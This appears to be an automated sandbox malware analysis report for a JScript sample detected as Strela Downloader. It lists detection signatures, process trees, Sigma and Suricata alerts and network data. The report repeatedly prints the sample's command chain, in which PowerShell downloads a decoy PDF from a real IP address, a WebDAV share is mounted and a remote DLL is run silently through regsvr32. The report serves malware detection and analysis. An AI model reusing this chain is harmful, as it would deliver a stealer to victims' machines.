Edit tour

Windows Analysis Report
225111419252504808.js

Overview

General Information

Sample name:	225111419252504808.js
Analysis ID:	1588577
MD5:	7ca989187830a56bd2154e01a8469c36
SHA1:	fa1f8ef3d6692884b6666ca644974e622c0741c5
SHA256:	03ed4d0b0f6e61f173afb5a2005149003e8d140134554b2e53735b6c393cd362
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6964 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1272 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5356 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4940 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,17588879317653258415,7033823305071933733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4200 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4640 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5528 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6964	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5356, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5356, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ProcessId: 6964, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4640, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 1272, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 1272, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 1272, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 1272, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 1272, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ProcessId: 6964, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5356, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4200, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4640, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5528, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4200, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4640, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6964, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 1272, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:36:26.289364+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:36:28.810138+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:36:26.289364+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 225111419252504808.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 225111419252504808.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:36:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

